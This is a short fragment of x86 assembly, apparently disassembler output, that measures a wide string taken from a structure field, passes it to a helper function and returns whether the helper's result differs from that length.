mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x440abb
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004405c6
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x440ae5
xor eax, eax
inc eax
jmp 0x440ae5
xor eax, eax
pop edi
pop esi
leave
ret